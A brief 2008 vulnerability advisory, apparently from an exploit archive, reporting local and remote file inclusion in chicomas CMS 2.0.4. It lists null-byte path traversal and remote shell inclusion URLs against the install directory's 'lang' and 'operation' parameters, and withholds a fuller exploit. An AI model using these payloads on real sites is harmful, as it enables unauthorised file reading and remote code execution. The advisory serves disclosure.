chicomas 2.0.4 RFI & LFI

2008-05-15
ID: 70973
CVE: None
Download vulnerable application: None
# Author:Hadi Kiamarsi

# Exploit By :  Hadi Kiamarsi

# Email : hadikiamarsi (at) hotmail (dot) com [email concealed]

# CMS:chicomas.2.0.4

# Download CMS : http://garr.dl.sourceforge.net/sourceforge/chicomas/chicomas.2.0.4.zip

web site : http://ircrash.com

########################################################################
######

File Inclusion ( Local & Remote )

# Bugs :

#Local File Inclusion:

[chicomas]/install/?lang=../FILE%00

[chikomas]/install/?operation=../FILE%00

#Remote File Inclusion

[chicomas]/install/?lang=[SHELL]%00

#Exploit

exploit is very private
1-4-2 (www01)